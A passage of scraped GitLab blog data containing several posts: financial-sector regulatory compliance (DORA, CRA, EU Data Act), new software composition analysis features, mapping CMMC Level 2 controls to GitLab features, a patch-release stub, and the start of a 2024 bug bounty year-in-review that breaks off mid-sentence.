(DORA)](https://www.eiopa.europa.eu/digital-operational-resilience-act-dora_en)\n\nTaking effect on **January 17, 2025**, the Digital Operations Resilience Act aims to ensure that financial institutions can withstand, respond to, and recover from all types of information and communication technology related disruptions and threats. The goal is to unify and strengthen the resilience of the financial sector across Europe. \n\n### [European Data Act](https://digital-strategy.ec.europa.eu/en/policies/data-act)  \n\nAnticipated to become applicable on **September 12, 2025**, this regulation seeks to provide clearer rules regarding data use and sharing for AI and the internet of things, or IoT, enhancing data access and fostering innovation in various sectors, including finance.\n\n## Implications for banks and financial institutions \n\nAs financial institutions adapt to these evolving regulatory frameworks, the implications are significant and far-reaching. For instance, PYMNTS reports [59% of bankers see their legacy systems as a major business challenge](https://www.pymnts.com/digital-first-banking/2024/three-quarters-of-banks-face-digital-banking-infrastructure-issues/). These challenges present obstacles in the delivery of modern services, while hindering their ability to both detect and respond to modern cyber threats. According to the [2024 IBM Data Breach Report](https://www.ibm.com/downloads/cas/1KZ3XE9D), the average cost of a data breach in the financial services sector is a staggering $6.08 million, with breaches taking an average of 258 days to identify and contain. Unfortunately for banks, the most common type of data stolen or compromised was customer personally identifiable information, or PII. This highlights the urgent need for organizations to modernize their security practices and infrastructure.\n\nHere are four ways to address this challenge.\n\n1. **Increase investment in technology:** Banks will need to significantly increase their investments in technology and infrastructure. This involves evaluating current systems and processes to ensure they align with the stringent requirements of CRA, DORA, the European Data Act, and other regulations.  \n\n2. **Heighten risk management practices:** A cultural shift will be necessary within organizations, as teams will need to prioritize risk management and resilience strategies. DORA, in particular, emphasizes not just compliance but the ability to anticipate and recover from disruptions.  \n\n3. **Enhance data governance:** Many of these new regulations will require banks to prepare for new approaches to data sharing and governance. Banks will have to rethink how data is collected, stored, and analyzed, with a strong focus on transparency, accountability, and collaboration across departments.  \n\n4. **Strengthen cybersecurity:** As cyber threats evolve, the importance of robust cybersecurity measures cannot be overstated. The CRA mandates that financial institutions implement comprehensive security protocols, requiring banks to prioritize cybersecurity investments at every phase of the software development lifecycle. \n\n## How GitLab can help   \nWith years of experience working with some of the [largest financial organizations in the world](https://about.gitlab.com/customers/all/?industry=financial-services), GitLab stands ready to support banks and other financial institutions in their compliance efforts. Our integrated suite of features empowers development teams to streamline their workflows, allowing them to concentrate on software development rather than becoming bogged down by the manual tracking and monitoring of evolving compliance regulations. \n\n**[GitLab Dedicated](https://about.gitlab.com/dedicated/)**, our fully isolated, single-tenant SaaS solution, is designed to meet the complex compliance and data residency requirements of highly regulated industries. Hosted and managed by GitLab, in your chosen cloud region, GitLab Dedicated ensures that sensitive data remains secure and compliant with local regulations. GitLab can help banks navigate these challenges effectively with:\n\n1. [Comprehensive application security and compliance features](https://about.gitlab.com/stages-devops-lifecycle/secure/)\n\n-  __Security scanning built into developer workflows:__ Many financial institutions still rely on disparate tools for security checks, which can lead to gaps in coverage and oversight. GitLab offers built-in security scanning tools that automatically identify vulnerabilities and provide remediation guidance throughout the application lifecycle. By embedding security checks into [CI/CD pipelines](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/), banks can detect and resolve issues early in the development process, where they are less costly and less risky to fix, ensuring that they adhere to necessary security protocols. GitLab offers the following [security scanner types](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html):\n\n      1. [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/index.html) \n\n      2. [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html)  \n      3. [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/index.html)\n\n      4. [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/index.html)\n\n      5. [Dependency (+ License) Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html)  \n      6. [Coverage-guided Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/index.html)  \n\n      7. [Web API Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)  \n\n      8. [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html)  \n\n      9. [API Security Scanning](https://docs.gitlab.com/ee/user/application_security/api_security/index.html)\n\n- __Compliance and enforceable policies:__ Our platform enables [separation of duties](https://about.gitlab.com/blog/ensuring-compliance/), by allowing security and compliance teams to manage security policies independently, allowing developers to focus purely on development. This approach supports the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), where developers access only what they need. For multinational banks or financial institutions who operate globally, GitLab’s policies and compliance dashboards assist in meeting strict geographical and regulatory requirements. These tools help maintain consistent adherence to compliance regulations, giving organizations clear visibility into their security posture across regions, industries, and regulations.\n\n- __[Software supply chain security](https://about.gitlab.com/solutions/supply-chain/):__ GitLab ensures the security of the entire build, development, and deployment environment through a comprehensive approach to software supply chain security. Our [software composition analysis (SCA)](https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization/) provides deep insights into component versions, licenses, and known vulnerabilities in dependencies which can be proactively remediated to reduce enterprise risk. This comprehensive approach also includes [software bill of materials (SBOM)](https://docs.gitlab.com/ee/user/application_security/dependency_list/) generation, ensuring transparency and compliance with industry standards. Finally, as highlighted above, GitLab provides controls to enforce the principle of least privilege to mitigate threats that compromise the software development environment itself.  \n\n2. [Robust risk management tools](https://docs.gitlab.com/ee/user/application_security/)\n\n- __Issue tracking and management:__ Within a bank, ineffective risk management can lead to overlooked vulnerabilities and inefficient mitigation strategies. GitLab’s issue tracking capabilities allow security vulnerabilities to appear alongside feature requests in the backlog, creating full visibility across teams. Sensitive issues can also be marked as confidential, so that only those who have sufficient permissions can access. This combination of transparency and controlled access supports a culture of collaboration and accountability, as development, security, and operations teams work together seamlessly on risk management. This cultural shift is crucial; rather than merely purchasing tools or one-off solutions, organizations must embed collaboration into their workflows to ensure security becomes a key part of the development process. \n\n- __[Automated testing](https://about.gitlab.com/blog/how-to-choose-the-right-security-scanning-approach/):__ A common challenge in the financial services industry is centered around the fact that homegrown solutions that were once robust processes become slow and cumbersome over time, leading to reduced agility. So much so that [Forbes](https://www.aba.com/-/media/documents/industry-insights/2023-thoughtmachine-banking-at-a-crossroads-the-threat-of-legacy-infrastructure.pdf?rev=6ce18fa56f0547e5a8c8433b50aef931) found that 60% of banking leaders consider legacy infrastructure to be the major factor keeping them from unlocking incremental growth. To compensate, the industry has shifted toward giving developers more freedom, but often at the cost of maintaining high security standards.\n\u003Cbr>\u003C/br>\n  GitLab solves this challenge by [automating testing within CI/CD pipelines](https://about.gitlab.com/topics/devops/devops-test-automation/), enabling financial institutions to maintain both speed and security. Developers can configure pipelines to fit their workflows, while security and compliance teams retain control over policies, ensuring adherence to critical security measures. By automating testing processes, GitLab helps banks remain resilient and functional, reducing the likelihood of disruptions.\n\n3. [Enhanced data governance](https://about.gitlab.com/stages-devops-lifecycle/govern/)\n\n- __Data management and compliance:__ GitLab’s data management features enable organizations to securely handle sensitive information. With embedded [audit logs](https://docs.gitlab.com/ee/user/compliance/audit_events.html), banks can track data access and changes, ensuring transparency and accountability in their data practices. These logs can show actions such as who changed the permission level of a particular user for a project, and when.\n\n- __[Collaboration tools](https://about.gitlab.com/topics/gitops/gitops-gitlab-collaboration/):__ GitLab promotes collaboration among cross-departmental teams, facilitating communication between IT, compliance, and business units. This integrated approach is essential for effective data governance, allowing banks to align their data practices with organizational goals.\n\n4. [Efficient incident reporting and response](https://docs.gitlab.com/ee/operations/incident_management/)\n\n- __[Centralized incident management](https://handbook.gitlab.com/handbook/engineering/infrastructure/incident-management/):__ GitLab provides centralized project management capabilities for logging and tracking significant incidents. This allows teams to respond quickly and effectively, ensuring that incidents are managed in a timely manner.\n\n- __[Incident response guides](https://handbook.gitlab.com/handbook/security/security-operations/sirt/sec-incident-response/):__ With GitLab, organizations can develop and maintain incident response plans within the platform. By simulating potential incidents and testing response protocols, banks can ensure preparedness and resilience in the face of unexpected challenges.\n\n5. [Documentation and audit readiness](https://docs.gitlab.com/ee/administration/compliance.html)\n\n- __Continuous compliance documentation:__ Traditionally, banks have been locked into rigid 12-month audit cycles, preparing documentation to meet stringent regulations like the Bank Secrecy Act (BSA), Automated Clearing House (ACH) rules, and Anti-Money Laundering (AML) requirements. However, as the pace and complexity of threats grow, the financial industry is shifting from reactive, periodic audits to a proactive, [continuous compliance model](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). With GitLab, teams know exactly where they stand at any given moment, leveraging real-time compliance data to their advantage. This continuous insight empowers teams to address issues as they arise, rather than waiting for an audit, creating a more agile and resilient compliance posture.\n\n- **Customizable reporting:** With GitLab’s customizable reporting features, organizations can generate detailed reports that showcase compliance violations based on severity levels, violation types, and merge request titles. These reports provide valuable insights for both internal stakeholders and external parties, ensuring transparency and accountability.\n\n## Connect with GitLab today\n\nAs banks and financial institutions embrace these regulatory changes, GitLab not only provides the technology necessary to ensure compliance, but also fosters a culture of continuous improvement. This proactive approach allows financial institutions to release software with confidence, knowing they have the systems in place to mitigate risks and respond quickly to incidents.\n\nGitLab’s commitment to supporting the financial sector through these transitions ensures that organizations are not only compliant but also resilient and prepared for the challenges ahead. Together, we can build a safer and more secure financial future. \n\n> **[Reach out](https://about.gitlab.com/solutions/finance/) to learn more about how we can help meet your regulatory challenges.**\n\n## Read more\n\n- [What the Digital Operational Resilience Act means for banks](https://about.gitlab.com/blog/what-the-digital-operational-resilience-act-means-for-banks/)\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to ensure separation of duties and enforce compliance with GitLab](https://about.gitlab.com/blog/ensuring-compliance/)",[555,943,479,674],{"slug":3170,"featured":6,"template":678},"gitlab-supports-banks-in-navigating-regulatory-challenges","content:en-us:blog:gitlab-supports-banks-in-navigating-regulatory-challenges.yml","Gitlab Supports Banks In Navigating Regulatory Challenges","en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges.yml","en-us/blog/gitlab-supports-banks-in-navigating-regulatory-challenges",{"_path":3176,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3177,"content":3183,"config":3189,"_id":3192,"_type":16,"title":3193,"_source":17,"_file":3194,"_stem":3195,"_extension":20},"/en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5",{"title":3178,"description":3179,"ogTitle":3178,"ogDescription":3179,"config":3180,"ogImage":712,"ogUrl":3181,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3181,"schema":3182},"GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5","Learn more about GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE)",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Alfaro\"}],\n        \"datePublished\": \"2025-01-08\",\n      }",{"title":3178,"description":3179,"authors":3184,"heroImage":712,"date":3186,"body":3187,"category":674,"tags":3188},[3185],"Greg Alfaro","2025-01-08","This is the post for [GitLab Patch Release: 17.7.1, 17.6.3, 17.5.5](https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/).",[1464],{"slug":3190,"featured":6,"template":678,"externalUrl":3191},"gitlab-patch-release-17-7-1-17-6-3-17-5-5","https://about.gitlab.com/releases/2025/01/08/patch-release-gitlab-17-7-1-released/","content:en-us:blog:gitlab-patch-release-17-7-1-17-6-3-17-5-5.yml","Gitlab Patch Release 17 7 1 17 6 3 17 5 5","en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5.yml","en-us/blog/gitlab-patch-release-17-7-1-17-6-3-17-5-5",{"_path":3197,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3198,"content":3203,"config":3208,"_id":3210,"_type":16,"title":3211,"_source":17,"_file":3212,"_stem":3213,"_extension":20},"/en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization",{"title":3199,"description":3200,"ogTitle":3199,"ogDescription":3200,"noIndex":6,"ogImage":2221,"ogUrl":3201,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3201,"schema":3202},"Reduce supply chain risk with smarter vulnerability prioritization","New software composition analysis features use risk-based intelligence so developers and security teams can prioritize critical vulnerabilities for targeted remediation.","https://about.gitlab.com/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Reduce supply chain risk with smarter vulnerability prioritization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"}],\n        \"datePublished\": \"2025-01-07\",\n      }",{"title":3199,"description":3200,"authors":3204,"heroImage":2221,"date":3205,"body":3206,"category":674,"tags":3207},[750],"2025-01-07","Application Security teams face a constant uphill battle in risk reduction due to the ever-growing number of vulnerabilities. This year alone, [36,000 Common Vulnerabilities and Exposures (CVEs)](https://www.cvedetails.com/) have been reported — a 25% increase from last year. The sharp rise intensifies the challenge of prioritization in vulnerability management, especially for lean AppSec teams. \n\nTo help, we’ve introduced several new enhancements to our Software Composition Analysis (SCA) solution. These improvements are available for all GitLab Ultimate customers:  \n\n* **Static Reachability Analysis** identifies the *exploitable* vulnerabilities from open source components in your applications.   \n* **Known Exploited Vulnerabilities** (KEV) **Indicator** highlights known, actively exploited vulnerabilities.   \n* **Exploit Prediction Scoring System** (EPSS) predicts the likelihood of a vulnerability being exploited.\n\nBy prioritizing exploitable vulnerabilities, AppSec teams can reduce triage times, accelerate remediation cycles, and improve collaboration with their development counterparts. Powered by our recent acquisitions of [Oxeye](https://about.gitlab.com/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities/) and [Rezilion's intellectual property](https://ir.gitlab.com/news/news-details/2024/GitLab-Reports-First-Quarter-Fiscal-Year-2025-Financial-Results/default.aspx), these new capabilities align with our vision of providing best-in-class application security solutions, natively built into developer workflows. \n\n### What is SCA and why does it matter? \n\nSoftware Composition Analysis helps organizations identify and manage open source components within their applications. By scanning the codebase, SCA provides insights into the component versions, licenses, and importantly, known vulnerabilities. With [90% of Fortune 500](https://www.nber.org/be/20241/open-source-software-creators-its-not-just-about-money) companies dependent on open source components for their applications, SCA provides much-needed visibility to mitigate software supply chain risk. \n\nHigh-profile breaches like [SolarWinds](https://www.wired.com/story/the-untold-story-of-solarwinds-the-boldest-supply-chain-hack-ever/) and [Log4Shell](https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know) highlight how vulnerabilities in third-party components can compromise countless downstream applications. SCA tools act as proactive measures, enabling teams to identify vulnerabilities and enforce compliance early in the software development lifecycle, ensuring software security while maintaining development velocity. \n\n### Filter out the noise for targeted remediation \n\nWith our latest SCA enhancements, GitLab helps you cut through the noise to prioritize real risks, reduce backlogs, and remediate faster – all within your existing workflows. \n\n**Focus on vulnerabilities that pose the greatest risk** \n\n* Static Reachability Analysis leverages the proprietary detection engine of our [Advanced SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/) solution to surface vulnerabilities from dependencies that can *actually* be exploited in your application. \n\n**Reduce triage times** \n\n* With KEV indicators and EPSS scoring, GitLab gives security teams actionable insights into vulnerabilities that are actively being exploited or likely to be targeted. Incorporating risk-based scoring helps teams effectively triage their vulnerability backlog. \n\n**Faster remediation to mitigate supply chain risk** \n\n* Our SCA enhancements are built into developer workflows, providing contextual remediation guidance while maintaining developer productivity. \n\n### What’s next for SCA \n\nWe’re continuing to integrate Rezilion’s technology into our platform to help teams secure their software supply chains more effectively. Rezilion will be key to powering future innovations, including:\n\n* **Supporting faster remediation** workflows by automatically opening merge requests with fixes for detected vulnerabilities   \n* **Enriching package metadata** using [OpenSSF scorecard ratings](https://openssf.org/projects/scorecard/) to provide security teams with more information on dependencies such as authors and end-of-life status   \n* **Improving open-source software license detection** to ensure compliance and reduce legal risks \n\n### Get started with SCA \n\nIf you’re an existing GitLab Ultimate customer and would like to learn more about how Software Composition Analysis can enhance your application security program, visit our [documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). There, you’ll find details on implementation requirements, use cases, and more. Or if you’re not yet a GitLab Ultimate customer, get started with a [free trial](https://about.gitlab.com/free-trial/) today to explore how GitLab enhances your ability to write secure software, achieve compliance goals, and improve development velocity. \n\n##### ***Disclaimer**: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.*",[674,754,479,695],{"slug":3209,"featured":92,"template":678},"reduce-supply-chain-risk-with-smarter-vulnerability-prioritization","content:en-us:blog:reduce-supply-chain-risk-with-smarter-vulnerability-prioritization.yml","Reduce Supply Chain Risk With Smarter Vulnerability Prioritization","en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization.yml","en-us/blog/reduce-supply-chain-risk-with-smarter-vulnerability-prioritization",{"_path":3215,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3216,"content":3222,"config":3226,"_id":3228,"_type":16,"title":3229,"_source":17,"_file":3230,"_stem":3231,"_extension":20},"/en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab",{"title":3217,"description":3218,"ogTitle":3217,"ogDescription":3218,"noIndex":6,"ogImage":3219,"ogUrl":3220,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3220,"schema":3221},"Streamline the path to CMMC Level 2 compliance with GitLab","Learn how GitLab’s comprehensive, AI-powered DevSecOps platform can help organizations meet Cybersecurity Maturity Model Certification Level 2 compliance requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098208/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_479904468%20%281%29_4lmOEVlaXP0YC3hSFmOw6i_1750098208185.jpg","https://about.gitlab.com/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline the path to CMMC Level 2 compliance with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-01-07\",\n      }",{"title":3217,"description":3218,"authors":3223,"heroImage":3219,"date":3205,"body":3224,"category":674,"tags":3225},[1224],"The [Cybersecurity Maturity Model Certification (CMMC)](https://dodcio.defense.gov/cmmc/About/) Program is a framework developed by the U.S. Department of Defense (DoD) to enforce cybersecurity requirements and protect sensitive unclassified information shared by the DoD with contractors and subcontractors.\n\nWith the release of the CMMC [final rule](https://www.federalregister.gov/documents/2024/10/15/2024-22905/cybersecurity-maturity-model-certification-cmmc-program), DoD contractors can begin to assess and align their controls and processes to be compliant with CMMC’s requirements.\n\nThis article explains how GitLab customers can leverage the GitLab platform to help satisfy relevant NIST SP 800-171 R2 requirements to achieve CMMC Level 2 compliance.\n\n### Access Control\n\n#### 3.1.1, 3.1.2, 3.1.4 - 3.1.8, 3.1.11 - 3.1.13, 3.1.15\n\nGitLab’s access management features broadly support CMMC access control requirements.\n\nGitLab’s [role-based access control (RBAC) model](https://docs.gitlab.com/ee/user/permissions.html) enables customers to limit access to authorized users, implement separation of duties, and ensure such users are only granted the permissions they require to perform their responsibilities.\n\nGitLab also supports [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) enabling organizations to craft roles that more accurately meet their needs.\n\nGitLab’s [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture different actions within GitLab, including administrative actions. With RBAC and audit events, organizations can prevent non-privileged users from performing administrative actions and log such actions when they do occur.\n\nTo address the National Institute of Standards and Technology (NIST) requirement for limiting unsuccessful logon attempts, GitLab addresses this in [a few different ways](https://docs.gitlab.com/ee/security/unlock_user.html) depending on the particular service offering a customer is subscribed to.\n\nBy default, GitLab implements limits on how long user sessions can remain valid without activity. Self-managed customers can configure this [setting](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#customize-the-default-session-duration) to meet their organizational needs.\n\nGitLab secures data in transit through [encryption](https://docs.gitlab.com/ee/security/tls_support.html) and offers options for organizations to limit how their users connect to their GitLab namespace or instance.\nOrganizations can restrict access to their top level group by [IP address](https://docs.gitlab.com/ee/user/group/access_and_permissions.html), and GitLab Dedicated customers can take a step further by using [AWS PrivateLink](https://docs.gitlab.com/ee/administration/dedicated/#aws-privatelink-connection-optional) as a connection gateway.\n\n### Audit and Accountability\n\n#### 3.3.1, 3.3.2, 3.3.8, 3.3.9\n\nAs mentioned, GitLab [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) capture different actions within GitLab, including administrative actions. Audit events in GitLab are associated with an individual user responsible for the event, and the audit events themselves are immutable.\n\nFor organizations with a GitLab Ultimate license, [audit event streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enables them to set a streaming destination for their top-level group’s audit events. GitLab Self-managed (Ultimate) and GitLab Dedicated customers can utilize the same functionality for streaming their GitLab [instance audit events](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) as well.\n\n### Configuration Management\n\n#### 3.4.1 - 3.4.3, 3.4.5\n\nGitLab’s [Create stage](https://about.gitlab.com/features/?stage=create) enables organizations to design, develop, and securely manage code and project data. Configurations for organizational systems can be stored, managed, and deployed leveraging GitLab’s [infrastructure as code features](https://about.gitlab.com/features/?stage=deploy#infrastructure_as_code).\n\nBy managing configuration changes through code, organizations can track the lineage of each change request. [Merge request approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) enable organizations to enforce how many approvals a merge request must receive before it can be merged, and which users are authorized to approve such requests. The history of each request is retained and can be reviewed through git.\n\n![CMMC - Multiple approvals](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098221222.png)\n\n\u003Ccenter>\u003Ci>Multiple approval rules\u003C/i>\u003C/center>\n\n### Identification and Authentication\n\n#### 3.5.1 - 3.5.3\n\nGitLab supports SAML SSO integrations for [GitLab.com groups](https://docs.gitlab.com/ee/user/group/saml_sso/), [GitLab Dedicated, and Self-managed instances](https://docs.gitlab.com/ee/integration/saml.html). Organizations can further simplify their GitLab identity and access management (IAM) processes by configuring System for Cross-domain Identity Management (SCIM).\n\nGitLab also supports the use of [multi-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html), thereby enabling organizations to choose the IAM controls that fit their organizational needs.\n\n### Risk Assessment\n\n#### 3.11.2 - 3.11.3\n\nGitLab supports a powerful suite of scanning features to help create holistic and robust application development and supply chain management processes.\n\nGitLab enables organizations to discover vulnerabilities through [Static Application Security Testing (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), [Infrastructure as Code Security Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/), [Dynamic Application Security Testing (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing), [Container Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning), and [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). \n\nDiscovered vulnerabilities on the default branch can be viewed in aggregate through GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/). From there, organizations can dive into each finding’s [Vulnerability page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) to [create issues](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#create-a-gitlab-issue-for-a-vulnerability) to track and discuss the vulnerability, and [resolve the vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#resolve-a-vulnerability), either manually or via a merge request.\n\n![CMMC - Vulnerability report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098221223.png)\n\nAdditionally, GitLab Duo’s [Vulnerability Explanation](https://docs.gitlab.com/ee/user/gitlab_duo/#vulnerability-explanation) feature can be leveraged to better understand discovered vulnerabilities, how they can be exploited, and how to fix them.\n\nTo go a step further, AWS recently [announced GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/). Within a GitLab merge request, Amazon Q developer scans all changes looking for security vulnerabilities, quality issues such as code that doesn’t follow best practices, and any other potential problems with the code. After it’s finished, it will add each finding as a comment that includes a snippet of the problematic code found, a description of the issue, and a severity rating. Amazon Q with GitLab Duo will also recommend a code security fix.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1033653810?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo and Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### System and Information Integrity\n\n#### 3.14.1\n\nAs mentioned above, GitLab provides numerous features to identify vulnerabilities. Organizations can structure [scan execution policies](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html) to help ensure vulnerabilities are identified expediently when commits are pushed and on a regular schedule. Identified vulnerabilities can be [linked](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#link-a-vulnerability-to-existing-gitlab-issues) to issues for identified software flaws to support a more informed and unified remediation process.\n\nHere is an at-a-glance look at GitLab's companion features for CMMC Level 2:\n\n![Table of CMMC Level 2 compliance capabilities in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098221/Blog/Content%20Images/Blog/Content%20Images/cmmctable_aHR0cHM6_1750098221225.png)\n\n### Learn more\n\nAs the most comprehensive AI-powered DevSecOps platform, GitLab enables its customers to meet a broad range of regulatory and compliance requirements through an extensive and rich feature set. You can dig deeper into these features with our [library of tutorials](https://docs.gitlab.com/ee/tutorials/).",[674,479,185],{"slug":3227,"featured":6,"template":678},"streamline-the-path-to-cmmc-level-2-compliance-with-gitlab","content:en-us:blog:streamline-the-path-to-cmmc-level-2-compliance-with-gitlab.yml","Streamline The Path To Cmmc Level 2 Compliance With Gitlab","en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab.yml","en-us/blog/streamline-the-path-to-cmmc-level-2-compliance-with-gitlab",{"_path":3233,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3234,"content":3239,"config":3244,"_id":3246,"_type":16,"title":3247,"_source":17,"_file":3248,"_stem":3249,"_extension":20},"/en-us/blog/gitlabs-2024-bug-bounty-year-in-review",{"title":3235,"description":3236,"ogTitle":3235,"ogDescription":3236,"noIndex":6,"ogImage":2943,"ogUrl":3237,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3237,"schema":3238},"GitLab's 2024 bug bounty year in review","Who were the 2024 top 5 bug reporters? Find out in this look back at 12 months of bug hunting. Also learn how to participate in 2025's bug bounty program.","https://about.gitlab.com/blog/gitlabs-2024-bug-bounty-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2024 bug bounty year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2025-01-06\",\n      }",{"title":3235,"description":3236,"authors":3240,"heroImage":2943,"date":3241,"body":3242,"category":674,"tags":3243},[2890],"2025-01-06","It’s that time again when everyone reflects on the year that just passed, and the [Application Security](https://handbook.gitlab.com/handbook/security/security-engineering/application-security/) team at GitLab is no different. We run the bug bounty program at GitLab, and every year we summarize our stats for those who are curious. We wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards hugely beneficial and money well spent. \n\n## GitLab Bug Bounty Program by the numbers \n\n* Awarded over US$1 million in bounties across 275 valid reports.  \n* Received a total of 1,440 reports from 457 researchers in 2024.  \n* Our busiest month was July, when we paid out over US$193,000!\n\n*Note: Data is accurate as of 31st of December, 2024.* \n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab).\n\n## GitLab Bug Bounty Researchers of the Year\n\nIt's time to shine a spotlight on the brilliant minds who have contributed to making GitLab more secure. Our bug bounty program continues to be a crucial part of our security strategy, and we're thrilled to recognize the outstanding efforts of our top researchers.\n\n### Most Valid Reports: joaxcar\n\nLeading the pack with an impressive 55 valid reports, [joaxcar](https://hackerone.com/joaxcar?type=user) has demonstrated exceptional dedication and skill in identifying potential vulnerabilities. joaxcar’s consistent contributions have played a significant role in enhancing GitLab's security posture, and has risen to our No. 1 contributing researcher.\n\n### Newcomer of the Year: a92847865\n\nWe're always excited to welcome fresh talent to our bug bounty program. This year, [a92847865](https://hackerone.com/a92847865?type=user) caught our attention by submitting 16 valid reports since their first submission on May 10. Their quick impact showcases the importance of new perspectives in security research.\n\n### Most Innovative Report: yvvdwf\n\nInnovation is key to staying ahead of potential threats. A report made by [yvvdwf](https://hackerone.com/yvvdwf?type=user) stood out for its creative approach to identifying a complex vulnerability. This kind of out-of-the-box thinking is invaluable in our ongoing security efforts.\n\n### Most Impactful Finding: ahacker1\n\nSometimes, a single discovery can have far-reaching implications. One of [ahacker1's](https://hackerone.com/ahacker1?type=user) reports was particularly impactful this year. This finding led to significant improvements in our pipeline security and API access controls. \n\n### Best Written Report: matanber\n\nClearly written communication is crucial in bug bounty reports. This year, [matanber](https://hackerone.com/matanber) provided an exceptionally detailed explanation of a complex Web IDE vulnerability. The report included comprehensive technical diagrams, relevant code snippets, and step-by-step explanations that showcased the issue perfectly. The clarity and thoroughness of the report made it easier for our team to understand, validate, and promptly fix the issue.\n\n### Special swag\n\nAs a token of our 